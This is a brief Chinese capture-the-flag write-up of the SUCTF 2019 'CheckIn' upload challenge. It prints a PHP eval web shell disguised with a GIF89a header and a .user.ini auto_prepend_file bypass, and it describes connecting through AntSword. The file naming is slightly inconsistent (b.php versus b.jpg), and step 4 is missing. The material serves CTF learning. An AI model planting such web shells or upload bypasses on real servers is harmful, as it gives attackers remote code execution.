[SUCTF 2019]CheckIn 1

解题步骤

1. 上传木马图片，命名为b.php

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

2. bp抓包，修改数据；然后可看到上传的文件
   
   

3. 上传.user.ini文件，内容编写如下，然后bp抓包修改文件类型

GIF89a
auto_prepend_file=b.jpg

5. 可发现，刚刚我们上传的木马b文件被删除了，这里我测试了几遍，只要速度够快，两个文件能够同时存在，能够用蚁剑连接。